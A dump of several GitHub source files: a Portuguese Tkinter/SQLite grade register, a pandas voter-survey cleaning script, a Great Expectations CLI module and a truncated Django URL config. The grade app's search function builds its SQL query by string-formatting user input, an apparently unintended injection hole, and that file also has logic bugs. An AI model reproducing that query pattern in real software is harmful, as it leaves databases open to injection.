conn.commit()\n print(\"Banco de dados criado.\")\n conn.close()\n\ndef insert_record():\n id_entry = ent_id.get()\n disciplina_entry = ent_disciplina.get()\n av1_entry = ent_av1.get()\n av2_entry = ent_av2.get()\n av3_entry = ent_av3.get()\n avd_entry = ent_avd.get()\n avds_entry = ent_avds.get()\n status = StringVar()\n try:\n if disciplina_entry == \"\" or av1_entry == \"\" or av2_entry == \"\" or avd_entry == \"\":\n resultado = msb.showwarning(\"\",\n \"Digite em todos os campos!\",\n icon=\"warning\")\n else:\n media = (float(av1_entry) + float(av2_entry) +\n float(avd_entry)) / 3\n if media >= 60:\n status = \"Aprovado\"\n else:\n status = \"Reprovado\"\n\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\"INSERT INTO 'notas' (disciplina, av1, av2, av3, avd, avds, media, status) VALUES(?,?,?,?,?,?,?, ?)\"\"\",\n (disciplina_entry, av1_entry, av2_entry, av3_entry, avd_entry,\n avds_entry, media, status))\n conn.commit()\n conn.close()\n onSelect()\n clean_screen\n except ValueError:\n result = msb.showwarning(\"\", \"Digite o valor certo!\", icon=\"warning\")\n\ndef delete_record():\n id_entry = ent_id.get()\n disciplina_entry = ent_disciplina.get()\n av1_entry = ent_av1.get()\n av2_entry = ent_av2.get()\n av3_entry = ent_av3.get()\n avd_entry = ent_avd.get()\n avds_entry = ent_avds.get()\n try:\n if not list_record.selection():\n result = msb.showwarning('',\n 'Por favor, selecione o item na lista.',\n icon='warning')\n else:\n result = msb.askquestion(\n '', 'Tem certeza que deseja deletar o registro?')\n if result == 'yes':\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\"\"\"DELETE FROM notas WHERE id = ?\"\"\",\n (id_entry, ))\n conn.commit()\n conn.close()\n clean_screen()\n onSelect()\n except sqlite3.Error as error:\n resul = msb.showwarning(\"\",\n \"Falha ao excluir registro\",\n icon=\"warning\")\n\ndef update_record():\n id_entry = ent_id.get()\n disciplina_entry = ent_disciplina.get()\n av1_entry = ent_av1.get()\n av2_entry = ent_av2.get()\n av3_entry = ent_av3.get()\n avd_entry = ent_avd.get()\n avds_entry = ent_avds.get()\n try:\n if not list_record.selection():\n result = msb.showwarning('',\n 'Por favor, selecione o item na lista.',\n icon='warning')\n else:\n result = msb.askquestion(\n '', 'Tem certeza que deseja editar o registro?')\n if result == 'yes':\n media = (float(av1_entry) + float(av2_entry) + float(avd_entry)) / 3\n if media >= 60:\n status = \"Aprovado\"\n else:\n status = \"Reprovado\"\n\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\" UPDATE 'notas' SET disciplina = ?, av1 = ?, av2 = ?, av3 = ?, avd = ?, avds=? , media = ? , status = ? WHERE id = ?\"\"\",\n (disciplina_entry, av1_entry, av2_entry, av3_entry, avd_entry,\n avds_entry, media, status, id_entry))\n conn.commit()\n conn.close()\n onSelect()\n clean_screen()\n except sqlite3.Error as error:\n resultado = msb.showwarning(\"\",\n \"Falha ao alterar registro\",\n icon=\"warning\")\n\ndef update2():\n id_entry = ent_id.get()\n disciplina_entry = ent_disciplina.get()\n av1_entry = ent_av1.get()\n av2_entry = ent_av2.get()\n av3_entry = ent_av3.get()\n avd_entry = ent_avd.get()\n avds_entry = ent_avds.get()\n try:\n if not list_record.selection():\n result = msb.showwarning('',\n 'Por favor, selecione o item na lista.',\n icon='warning')\n else:\n if float(av3_entry) > float(av1_entry) or float(av2_entry):\n if float(av1_entry) > float(av2_entry) or float(\n av1_entry) == float(av2_entry):\n av2_entry = av3_entry\n else:\n av1_entry = av3_entry\n\n media = (float(av1_entry) + float(av2_entry) +\n float(avd_entry)) / 3\n if media >= 60:\n status = \"Aprovado\"\n else:\n status = \"Reprovado\"\n\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\" UPDATE 'notas' SET disciplina = ?, av1 = ?, av2 = ?, av3 = ?, avd = ?, avds=? , media = ? , status = ? WHERE id = ?\"\"\",\n (disciplina_entry, av1_entry, av2_entry, av3_entry, avd_entry,\n avds_entry, media, status, id_entry))\n conn.commit()\n conn.close()\n onSelect()\n clean_screen()\n except sqlite3.Error as error:\n resultado = msb.showwarning(\"\",\n \"Falha ao alterar registro\",\n icon=\"warning\")\n \ndef update3():\n id_entry = ent_id.get()\n disciplina_entry = ent_disciplina.get()\n av1_entry = ent_av1.get()\n av2_entry = ent_av2.get()\n av3_entry = ent_av3.get()\n avd_entry = ent_avd.get()\n avds_entry = ent_avds.get()\n try:\n if not list_record.selection():\n result = msb.showwarning('',\n 'Por favor, selecione o item na lista.',\n icon='warning')\n else:\n if float(avds_entry) > float(avd_entry):\n avd_entry = avds_entry\n\n media = (float(av1_entry) + float(av2_entry) +\n float(avd_entry)) / 3\n if media >= 60:\n status = \"Aprovado\"\n else:\n status = \"Reprovado\"\n\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\" UPDATE 'notas' SET disciplina = ?, av1 = ?, av2 = ?, av3 = ?, avd = ?, avds=? , media = ? , status = ? WHERE id = ?\"\"\",\n (disciplina_entry, av1_entry, av2_entry, av3_entry, avd_entry,\n avds_entry, media, status, id_entry))\n conn.commit()\n conn.close()\n onSelect()\n clean_screen()\n except sqlite3.Error as error:\n resultado = msb.showwarning(\"\",\"Falha ao alterar registro\",\n icon=\"warning\")\n \ndef clean_screen():\n ent_id.delete(0, END)\n ent_disciplina.delete(0, END)\n ent_av1.delete(0, END)\n ent_av2.delete(0, END)\n ent_av3.delete(0, END)\n ent_avd.delete(0, END)\n ent_avds.delete(0, END)\n\ndef onDuploClick(event):\n clean_screen()\n list_record.selection()\n\n for i in list_record.selection():\n col1, col2, col3, col4, col5, col6, col7, col8, col9 = list_record.item(\n i, 'values')\n ent_id.insert(END, col1)\n ent_disciplina.insert(END, col2)\n ent_av1.insert(END, col3)\n ent_av2.insert(END, col4)\n ent_av3.insert(END, col5)\n ent_avd.insert(END, col6)\n ent_avds.insert(END, col7)\n media.insert(END, col8)\n status.insert(END, col9)\n\ndef onSelect():\n list_record.delete(*list_record.get_children())\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n lista = cursor.execute(\n \"\"\"SELECT id, disciplina, av1, av2, av3, avd, avds, media, status FROM notas ORDER BY id\"\"\"\n )\n for i in lista:\n list_record.insert(\"\", END, values=i)\n conn.close()\n\ndef search_record():\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n list_record.delete(*list_record.get_children())\n ent_disciplina.insert(END, '%')\n disc = ent_disciplina.get()\n cursor.execute(\n \"\"\"SELECT id, disciplina, av1, av2, av3, avd, avds, media, status FROM notas WHERE disciplina LIKE '%s' ORDER BY disciplina ASC\"\"\"\n % disc)\n search_disc = cursor.fetchall()\n for i in search_disc:\n list_record.insert(\"\", END, values=i)\n clean_screen()\n conn.close()\n\n#FRAME MENU\nframeMenu = Frame(window, bg=\"#fffaf0\")\nframeMenu.place(relx=0.02, rely=0.02, relwidth=0.96, relheight=0.45)\n\n#BOTÕES\nbt_enviar = Button(frameMenu,text=\"ENVIAR\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=insert_record)\nbt_enviar.place(relx=0.84, rely=0.09, relheight=0.15, relwidth=0.15)\nbt_editar = Button(frameMenu,text=\"EDITAR\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=update_record)\nbt_editar.place(relx=0.84, rely=0.25, relheight=0.15, relwidth=0.15)\nbt_excluir = Button(frameMenu,text=\"EXCLUIR\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=delete_record)\nbt_excluir.place(relx=0.84, rely=0.41, relheight=0.15, relwidth=0.15)\nbt_limpar = Button(frameMenu,text=\"LIMPAR\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=clean_screen)\nbt_limpar.place(relx=0.84, rely=0.57, relheight=0.15, relwidth=0.15)\nbt_buscar = Button(frameMenu,text=\"BUSCAR\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=search_record)\nbt_buscar.place(relx=0.84, rely=0.73, relheight=0.15, relwidth=0.15)\nbt_update2 = Button(frameMenu,text=\"Altere sua AV1 e AV2 com sua da notas da AV3\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=update2)\nbt_update2.place(relx=0.24, rely=0.55, relheight=0.15, relwidth=0.47)\nbt_update2 = Button(frameMenu,text=\"Altere sua AVD com sua da nota da AVDS\",bg='#483d8b',foreground=\"#fffaf0\",bd=3,command=update3)\nbt_update2.place(relx=0.24, rely=0.75, relheight=0.15, relwidth=0.47)\n\n#LABEL&ENTRY\nlb_id = Label(frameMenu,text=\"ID\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_id.place(relx=0.01, rely=0.01, relheight=0.08, relwidth=0.1)\nent_id = Entry(frameMenu)\nent_id.place(relx=0.01, rely=0.1, relheight=0.08, relwidth=0.1)\n\nlb_disciplina = Label(frameMenu,text=\"DISCIPLINA\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_disciplina.place(relx=0.01, rely=0.2, relheight=0.08, relwidth=0.12)\nent_disciplina = Entry(frameMenu)\nent_disciplina.place(relx=0.01, rely=0.29, relheight=0.08, relwidth=0.1)\n\nlb_av1 = Label(frameMenu,text=\"AV1\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_av1.place(relx=0.01, rely=0.39, relheight=0.08, relwidth=0.1)\nent_av1 = Entry(frameMenu)\nent_av1.place(relx=0.01, rely=0.47, relheight=0.08, relwidth=0.1)\n\nlb_av2 = Label(frameMenu,text=\"AV2\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_av2.place(relx=0.01, rely=0.57, relheight=0.08, relwidth=0.1)\nent_av2 = Entry(frameMenu)\nent_av2.place(relx=0.01, rely=0.65, relheight=0.08, relwidth=0.1)\n\nlb_av3 = Label(frameMenu,text=\"AV3\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_av3.place(relx=0.01, rely=0.75, relheight=0.08, relwidth=0.1)\nent_av3 = Entry(frameMenu)\nent_av3.place(relx=0.01, rely=0.83, relheight=0.08, relwidth=0.1)\n\nlb_avd = Label(frameMenu,text=\"AVD\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_avd.place(relx=0.16, rely=0.01, relheight=0.08, relwidth=0.1)\nent_avd = Entry(frameMenu)\nent_avd.place(relx=0.16, rely=0.1, relheight=0.08, relwidth=0.1)\n\nlb_avds = Label(frameMenu,text=\"AVDS\",bg=\"#fffaf0\",font=('Helvetica', 11, 'bold'))\nlb_avds.place(relx=0.16, rely=0.2, relheight=0.08, relwidth=0.1)\nent_avds = Entry(frameMenu)\nent_avds.place(relx=0.16, rely=0.29, relheight=0.08, relwidth=0.1)\n\n#FRAMETREE\nframeTree = Frame(window, bg=\"#fffaf0\")\nframeTree.place(relx=0.02, rely=0.5, relwidth=0.96, relheight=0.48)\n\nlist_record = ttk.Treeview(frameTree,height=3,columns=(\"ID\", \"Disciplina\", \"AV1\", \"AV2\", \"AV3\",\"AVD\", \"AVDS\", \"MEDIA\", \"STATUS\"))\n\nlist_record.heading(\"ID\", text=\"ID\", anchor=\"center\")\nlist_record.heading(\"Disciplina\", text=\"Disciplina\", anchor=\"center\")\nlist_record.heading(\"AV1\", text=\"AV1\", anchor=\"center\")\nlist_record.heading(\"AV2\", text=\"AV2\", anchor=\"center\")\nlist_record.heading(\"AV3\", text=\"AV3\", anchor=\"center\")\nlist_record.heading(\"AVD\", text=\"AVD\", anchor=\"center\")\nlist_record.heading(\"AVDS\", text=\"AVDS\", anchor=\"center\")\nlist_record.heading(\"MEDIA\", text=\"MEDIA\", anchor=\"center\")\nlist_record.heading(\"STATUS\", text=\"STATUS\", anchor=\"center\")\n\nlist_record.column('#0', stretch=NO, minwidth=0, width=1)\nlist_record.column('#1', stretch=NO, minwidth=0, width=90)\nlist_record.column('#2', stretch=NO, minwidth=0, width=90)\nlist_record.column('#3', stretch=NO, minwidth=0, width=90)\nlist_record.column('#4', stretch=NO, minwidth=0, width=90)\nlist_record.column('#5', stretch=NO, minwidth=0, width=90)\nlist_record.column('#6', stretch=NO, minwidth=0, width=90)\nlist_record.column('#7', stretch=NO, minwidth=0, width=90)\nlist_record.column('#8', stretch=NO, minwidth=0, width=90)\nlist_record.column('#9', stretch=NO, minwidth=0, width=107)\n\nlist_record.place(relx=0.02, rely=0.02, relwidth=0.96, relheight=0.9)\n\nscrolllist = Scrollbar(frameTree, orient='vertical')\nlist_record.configure(yscroll=scrolllist.set)\nscrolllist.place(relx=0.98, rely=0.01, relwidth=0.02, relheight=1)\nlist_record.bind(\"\", onDuploClick)\n\nattention = Label(frameTree,\n text=\"CLIQUE DUAS VEZES NO ITEM PARA SELECIONA-LO\",\n bg=\"#fffaf0\")\nattention.place(relx=0.024, rely=0.93, relwidth=0.95, relheight=0.055)\n\ncreate_db()\nonSelect()\nwindow.mainloop()\n","repo_name":"Gabriel-Neres/python","sub_path":"Registro de notas/trabalhoav2.py","file_name":"trabalhoav2.py","file_ext":"py","file_size_in_byte":14955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31549265292","text":"import pandas as pd\nimport re\n\nData2=pd.read_csv(\"step_2_voter.csv\")\n\n#We are performing this code on all the \"feeling themometer\" variables.\n\nAll_variables=[Data2['ft_black_2016'],Data2['ft_white_2016'],Data2['ft_hisp_2016'],Data2['ft_asian_2016'],Data2['ft_muslim_2016'],Data2['ft_jew_2016'],Data2['ft_christ_2016'],Data2['ft_fem_2016'],Data2['ft_immig_2016'],Data2['ft_blm_2016'],Data2['ft_wallst_2016'],Data2['ft_gays_2016'],Data2['ft_unions_2016'],Data2['ft_police_2016'],Data2['ft_altright_2016']]\nVariables_names=['ft_black_2016','ft_white_2016','ft_hisp_2016','ft_asian_2016','ft_muslim_2016','ft_jew_2016','ft_christ_2016','ft_fem_2016','ft_immig_2016','ft_blm_2016','ft_wallst_2016','ft_gays_2016','ft_unions_2016','ft_police_2016','ft_altright_2016']\n\n#Step 1 - removing extra spaces and symbol \"-\" between numbers and text\n\nfor j in range(15):\n for i in range(8000):\n if All_variables[j].isna()[i] == False and len(All_variables[j][i]) > 2 and All_variables[j][i] != \"don't know\":\n Data2.set_value(i,Variables_names[j],All_variables[j][i].replace(\" - \", \"\"))\n \n#We have to do this again specifically for \"25 -unfavorable feeling\" because it's typed slightly differently than the others. It's typed as \"25 -unfavorable feeling\" instead of \"50 - no feeling at all\"; so one less space to the right of the symbol \"-\"\n\n for i in range(8000):\n if All_variables[j][i] == \"25 -unfavorable feeling\":\n Data2.set_value(i,Variables_names[j],\"25unfavorablefeeling\")\n \n#Step 2 – removing text\n\n for i in range(8000):\n if All_variables[j].isna()[i] == False and len(All_variables[j][i]) > 2 and All_variables[j][i] != \"don't know\":\n match = re.match(r\"([0-9]+)([a-z]+)\", All_variables[j][i])\n if match:\n Data2.set_value(i,Variables_names[j],match.groups()[0])\n \n#Step 3 – transforming strings of numbers into float\n\n for i in range(8000):\n if All_variables[j].isna()[i] == False and All_variables[j][i] != \"don't know\":\n Data2.set_value(i,Variables_names[j],float(All_variables[j][i]))\n\n#Done!\nData2.to_csv(\"step2_voter.csv\", index=False)\n","repo_name":"Tonyz4516/5220-project","sub_path":"data_clean/converting_strings2numbers.py","file_name":"converting_strings2numbers.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10793203916","text":"import logging\nimport re\nfrom typing import Any, Dict, List, Optional, Union, cast\n\nfrom great_expectations.util import get_sqlalchemy_inspector\n\ntry:\n from typing import Final\nexcept ImportError:\n # Fallback for python < 3.8\n from typing_extensions import Final\n\nimport click\n\ntry:\n from pybigquery.parse_url import parse_url as parse_bigquery_url\nexcept (ImportError, ModuleNotFoundError):\n parse_bigquery_url = None\n\nfrom great_expectations import exceptions as ge_exceptions\nfrom great_expectations.datasource import (\n BaseDatasource,\n Datasource,\n SimpleSqlalchemyDatasource,\n)\nfrom great_expectations.execution_engine import SqlAlchemyExecutionEngine\nfrom great_expectations.util import filter_properties_dict\n\nlogger = logging.getLogger(__name__)\n\ntry:\n import sqlalchemy\n from sqlalchemy.engine.reflection import Inspector\nexcept ImportError:\n logger.debug(\n \"Unable to load SqlAlchemy context; install optional sqlalchemy dependency for support\"\n )\n sqlalchemy = None\n Inspector = None\n\nDEFAULT_DATA_CONNECTOR_NAMES: Final[List[str]] = [\n \"default_runtime_data_connector_name\",\n \"default_inferred_data_connector_name\",\n]\n\n\ndef get_batch_request(\n datasource: BaseDatasource,\n additional_batch_request_args: Optional[Dict[str, Any]] = None,\n) -> Dict[str, Union[str, Dict[str, Any]]]:\n \"\"\"\n This method manages the interaction with user necessary to obtain batch_request for a batch of a data asset.\n\n In order to get batch_request this method needs datasource_name, data_connector_name and data_asset_name\n to combine them into a batch_request dictionary.\n\n All three arguments are optional. If they are present, the method uses their values. Otherwise, the method\n prompts user to enter them interactively. Since it is possible for any of these three components to be\n passed to this method as empty values and to get their values after interacting with user, this method\n returns these components' values in case they changed.\n\n If the datasource has data connectors, the method lets user choose a name from that list (note: if there are\n multiple data connectors, user has to choose one first).\n\n # :param datasource:\n # :param additional_batch_request_args:\n # :return: batch_request\n \"\"\"\n available_data_asset_names_by_data_connector_dict: Dict[\n str, List[str]\n ] = datasource.get_available_data_asset_names()\n data_connector_name: Optional[str] = select_data_connector_name(\n available_data_asset_names_by_data_connector_dict=available_data_asset_names_by_data_connector_dict,\n )\n\n batch_request: Dict[str, Union[str, int, Dict[str, Any]]] = {\n \"datasource_name\": datasource.name,\n \"data_connector_name\": data_connector_name,\n }\n\n data_asset_name: Optional[str]\n\n if isinstance(datasource, Datasource):\n msg_prompt_enter_data_asset_name: str = f'\\nWhich data asset (accessible by data connector \"{data_connector_name}\") would you like to use?\\n'\n data_asset_name = _get_data_asset_name_from_data_connector(\n datasource=datasource,\n data_connector_name=data_connector_name,\n msg_prompt_enter_data_asset_name=msg_prompt_enter_data_asset_name,\n )\n elif isinstance(datasource, SimpleSqlalchemyDatasource):\n msg_prompt_enter_data_asset_name: str = (\n \"\\nWhich table would you like to use? (Choose one)\\n\"\n )\n data_asset_name = _get_data_asset_name_for_simple_sqlalchemy_datasource(\n datasource=datasource,\n data_connector_name=data_connector_name,\n msg_prompt_enter_data_asset_name=msg_prompt_enter_data_asset_name,\n )\n else:\n raise ge_exceptions.DataContextError(\n f\"Datasource '{datasource.name}' of unsupported type {type(datasource)} was encountered.\"\n )\n\n batch_request.update(\n {\n \"data_asset_name\": data_asset_name,\n }\n )\n\n if additional_batch_request_args and isinstance(\n additional_batch_request_args, dict\n ):\n batch_request.update(additional_batch_request_args)\n\n batch_spec_passthrough: Dict[str, Union[str, Dict[str, Any]]] = batch_request.get(\n \"batch_spec_passthrough\"\n )\n if batch_spec_passthrough is None:\n batch_spec_passthrough = {}\n\n batch_spec_passthrough.update(_get_batch_spec_passthrough(datasource=datasource))\n batch_request[\"batch_spec_passthrough\"] = batch_spec_passthrough\n\n filter_properties_dict(properties=batch_request, clean_falsy=True, inplace=True)\n\n return batch_request\n\n\ndef select_data_connector_name(\n available_data_asset_names_by_data_connector_dict: Optional[\n Dict[str, List[str]]\n ] = None,\n) -> Optional[str]:\n msg_prompt_select_data_connector_name = \"Select data_connector\"\n\n if not available_data_asset_names_by_data_connector_dict:\n available_data_asset_names_by_data_connector_dict = {}\n\n num_available_data_asset_names_by_data_connector = len(\n available_data_asset_names_by_data_connector_dict\n )\n\n if num_available_data_asset_names_by_data_connector == 0:\n return None\n\n if num_available_data_asset_names_by_data_connector == 1:\n return list(available_data_asset_names_by_data_connector_dict.keys())[0]\n\n elif num_available_data_asset_names_by_data_connector == 2:\n # if only default data_connectors are configured, select default_inferred_asset_data_connector\n default_data_connector = _check_default_data_connectors(\n available_data_asset_names_by_data_connector_dict\n )\n if default_data_connector:\n return default_data_connector\n\n data_connector_names: List[str] = list(\n available_data_asset_names_by_data_connector_dict.keys()\n )\n choices: str = \"\\n\".join(\n [\n f\" {i}. {data_connector_name}\"\n for i, data_connector_name in enumerate(data_connector_names, 1)\n ]\n )\n choices += \"\\n\" # Necessary for consistent spacing between prompts\n option_selection: str = click.prompt(\n f\"{msg_prompt_select_data_connector_name}\\n{choices}\",\n type=click.Choice(\n [str(i) for i, data_connector_name in enumerate(data_connector_names, 1)]\n ),\n show_choices=False,\n )\n data_connector_name: str = data_connector_names[int(option_selection) - 1]\n\n return data_connector_name\n\n\ndef _get_data_asset_name_from_data_connector(\n datasource: BaseDatasource,\n data_connector_name: str,\n msg_prompt_enter_data_asset_name: str,\n) -> Optional[str]:\n \"\"\"Prompts the user to provide a data asset name from a list generated by a data connector\n\n Args:\n datasource: The datasource that contains our target data connector\n data_connector_name: Used to retrieve the target data connector; this connector is then\n used to list available data assets\n msg_prompt_enter_data_asset_name: CLI prompt to request user input\n\n Returns:\n The name of the data asset (if provided)\n\n \"\"\"\n\n available_data_asset_names_by_data_connector_dict: Dict[\n str, List[str]\n ] = datasource.get_available_data_asset_names(\n data_connector_names=data_connector_name\n )\n available_data_asset_names: List[str] = sorted(\n available_data_asset_names_by_data_connector_dict[data_connector_name],\n key=lambda x: x,\n )\n\n data_asset_name: Optional[str] = None\n num_data_assets = len(available_data_asset_names)\n\n if num_data_assets == 0:\n return None\n\n # If we have a large number of assets, give the user the ability to paginate or search\n if num_data_assets > 100:\n prompt = f\"You have a list of {num_data_assets:,} data assets. Would you like to list them [l] or search [s]?\\n\"\n user_selected_option: Optional[str] = None\n while user_selected_option is None:\n user_selected_option = _get_user_response(prompt)\n if user_selected_option.startswith(\"l\"):\n data_asset_name = _list_available_data_asset_names(\n available_data_asset_names, msg_prompt_enter_data_asset_name\n )\n elif user_selected_option.startswith(\"s\"):\n data_asset_name = _search_through_available_data_asset_names(\n available_data_asset_names, msg_prompt_enter_data_asset_name\n )\n else:\n user_selected_option = None\n # Otherwise, default to pagination\n else:\n data_asset_name = _list_available_data_asset_names(\n available_data_asset_names, msg_prompt_enter_data_asset_name\n )\n\n return data_asset_name\n\n\ndef _list_available_data_asset_names(\n available_data_asset_names: List[str],\n msg_prompt_enter_data_asset_name: str,\n) -> Optional[str]:\n available_data_asset_names_str: List[str] = [\n f\"{name}\" for name in available_data_asset_names\n ]\n PAGE_SIZE = 50\n\n # Organize available data assets into pages of 50\n data_asset_pages: List[List[str]] = [\n available_data_asset_names_str[i : i + PAGE_SIZE]\n for i in range(0, len(available_data_asset_names_str), PAGE_SIZE)\n ]\n\n if len(data_asset_pages) == 0:\n return None\n\n display_idx = 0 # Used to traverse between pages\n data_asset_name: Optional[str] = None\n\n while data_asset_name is None:\n current_page = data_asset_pages[display_idx]\n choices: str = \"\\n\".join(\n [\n f\" {i+(display_idx*PAGE_SIZE)}. {name}\"\n for i, name in enumerate(current_page, 1)\n ]\n )\n\n instructions = \"Type [n] to see the next page or [p] for the previous. When you're ready to select an asset, enter the index.\"\n prompt = f\"{msg_prompt_enter_data_asset_name}{choices}\\n\\n{instructions}\\n\"\n user_response: str = _get_user_response(prompt)\n\n # Pagination options\n if user_response.startswith(\"n\"):\n display_idx += 1\n elif user_response.startswith(\"p\"):\n display_idx -= 1\n # Selected asset\n elif user_response.isdigit():\n data_asset_index: int = int(user_response) - 1\n try:\n data_asset_name = available_data_asset_names[data_asset_index]\n except IndexError:\n break\n except ValueError:\n data_asset_name = user_response\n\n # Ensure that our display index is never out of bounds (loops around to the other side)\n if display_idx >= len(data_asset_pages):\n display_idx = 0\n elif display_idx < 0:\n display_idx = len(data_asset_pages) - 1\n\n return data_asset_name\n\n\ndef _search_through_available_data_asset_names(\n available_data_asset_names: List[str],\n msg_prompt_enter_data_asset_name: str,\n) -> Optional[str]:\n data_asset_name: Optional[str] = None\n while data_asset_name is None:\n available_data_asset_names_str: List[str] = [\n f\"{name}\" for name in available_data_asset_names\n ]\n choices: str = \"\\n\".join(\n [\n f\" {i}. {name}\"\n for i, name in enumerate(available_data_asset_names_str, 1)\n ]\n )\n\n instructions = \"Search by name or regex to filter results. When you're ready to select an asset, enter the index.\"\n prompt = f\"{msg_prompt_enter_data_asset_name}{choices}\\n\\n{instructions}\\n\"\n user_response = _get_user_response(prompt)\n\n # Selected asset\n if user_response.isdigit():\n data_asset_index: int = int(user_response) - 1\n try:\n data_asset_name = available_data_asset_names[data_asset_index]\n except IndexError:\n break\n except ValueError:\n data_asset_name = user_response\n # Used search\n else:\n # Narrow the search results down to ones that are close to the user query\n r = re.compile(user_response)\n available_data_asset_names = list(\n filter(r.match, available_data_asset_names)\n )\n\n return data_asset_name\n\n\ndef _get_data_asset_name_for_simple_sqlalchemy_datasource(\n datasource: SimpleSqlalchemyDatasource,\n data_connector_name: str,\n msg_prompt_enter_data_asset_name: str,\n) -> str:\n msg_prompt_how_to_connect_to_data: str = \"\"\"\nYou have selected a datasource that is a SQL database. How would you like to specify the data?\n1. Enter a table name and schema\n2. List all tables in the database (this may take a very long time)\n\"\"\"\n data_asset_name: Optional[str] = None\n\n default_schema: str = _get_default_schema(datasource=datasource)\n if default_schema is None:\n default_schema = \"\"\n\n schema_name: str\n table_name: str\n while data_asset_name is None:\n single_or_multiple_data_asset_selection: str = click.prompt(\n msg_prompt_how_to_connect_to_data,\n type=click.Choice([\"1\", \"2\", \"3\"]),\n show_choices=False,\n )\n if single_or_multiple_data_asset_selection == \"1\": # name the table and schema\n schema_name = click.prompt(\n \"Please provide the schema name of the table (this is optional)\",\n default=default_schema,\n )\n table_name = click.prompt(\n \"Please provide the table name (this is required)\"\n )\n if schema_name:\n data_asset_name = f\"{schema_name}.{table_name}\"\n else:\n data_asset_name = table_name\n elif single_or_multiple_data_asset_selection == \"2\": # list it all\n msg_prompt_warning: str = r\"\"\"Warning: If you have a large number of tables in your datasource, this may take a very long time.\nWould you like to continue?\"\"\"\n confirmation: str = click.prompt(\n msg_prompt_warning, type=click.Choice([\"y\", \"n\"]), show_choices=True\n )\n if confirmation == \"y\":\n data_asset_name = _get_data_asset_name_from_data_connector(\n datasource=datasource,\n data_connector_name=data_connector_name,\n msg_prompt_enter_data_asset_name=msg_prompt_enter_data_asset_name,\n )\n\n if (\n datasource.execution_engine.engine.dialect.name.lower() == \"bigquery\"\n and parse_bigquery_url is not None\n ):\n # bigquery table needs to contain the project id if it differs from the credentials project\n if len(data_asset_name.split(\".\")) < 3:\n project_id, _, _, _, _, _ = parse_bigquery_url(datasource.engine.url)\n data_asset_name = f\"{project_id}.{data_asset_name}\"\n\n return data_asset_name\n\n\ndef _get_default_schema(datasource: SimpleSqlalchemyDatasource) -> str:\n execution_engine: SqlAlchemyExecutionEngine = cast(\n SqlAlchemyExecutionEngine, datasource.execution_engine\n )\n inspector: Inspector = get_sqlalchemy_inspector(execution_engine.engine)\n return inspector.default_schema_name\n\n\ndef _check_default_data_connectors(\n available_data_asset_names_by_data_connector_dict: Dict[str, List[str]]\n) -> Optional[str]:\n if all(\n data_connector_name in available_data_asset_names_by_data_connector_dict\n for data_connector_name in DEFAULT_DATA_CONNECTOR_NAMES\n ):\n # return the default_inferred_asset_data_connector\n return DEFAULT_DATA_CONNECTOR_NAMES[1]\n\n\ndef _get_batch_spec_passthrough(\n datasource: BaseDatasource,\n) -> Dict[str, Union[str, Dict[str, Any]]]:\n batch_spec_passthrough: Dict[str, Union[str, Dict[str, Any]]] = {}\n\n if isinstance(datasource, Datasource):\n pass # TODO: Add parameters for Pandas, Spark, and other SQL as CLI functionality expands.\n elif isinstance(datasource, SimpleSqlalchemyDatasource):\n # Some backends require named temporary table parameters. We specifically elicit those and add them\n # where appropriate.\n execution_engine: SqlAlchemyExecutionEngine = cast(\n SqlAlchemyExecutionEngine, datasource.execution_engine\n )\n else:\n raise ge_exceptions.DataContextError(\n \"Datasource {:s} of unsupported type {:s} was encountered.\".format(\n datasource.name, str(type(datasource))\n )\n )\n\n return batch_spec_passthrough\n\n\ndef _get_user_response(prompt: str) -> str:\n return click.prompt(prompt, show_default=False).strip().lower()\n","repo_name":"franciscojavierarceo/Python","sub_path":"demos/great-expectations/venv/lib/python3.8/site-packages/great_expectations/cli/batch_request.py","file_name":"batch_request.py","file_ext":"py","file_size_in_byte":16599,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"41937808628","text":"# coding=utf-8\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.contrib import admin\nfrom django.conf import settings\n\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^api/post/data', 'api.views.post_data'),\n url(r'^api/json', 'api.views.json_data'),\n)\n\nif settings.IS_MASTER:\n\turlpatterns += patterns('',\n\t\t\t\t\t\t\turl(r'^$', 'USEmbassy_backend.views.home', name='home'),\n\n\t\t\t\t\t\t\turl(r'^admin/', include(admin.site.urls)),\n\t\t\t\t\t\t\turl(r'^push_notification/', include('push_notification.urls')),\n\t\t\t\t\t\t\turl(r'^accounts/', include('core.urls')),\n\n\t\t\t\t\t\t\turl(r'^api/post/jq_thumb/(?P\\d+)/', 'api.views.video_poster'),\n\n\t\t\t\t\t\t\turl(r'^cms/', include('page.urls')),\n\t\t\t\t\t\t\turl(r'^video/', include('video.urls')),\n\t\t\t\t\t\t\turl(r'^banner/', include('banner.urls')),\n\t\t\t\t\t\t\turl(r'^files/', 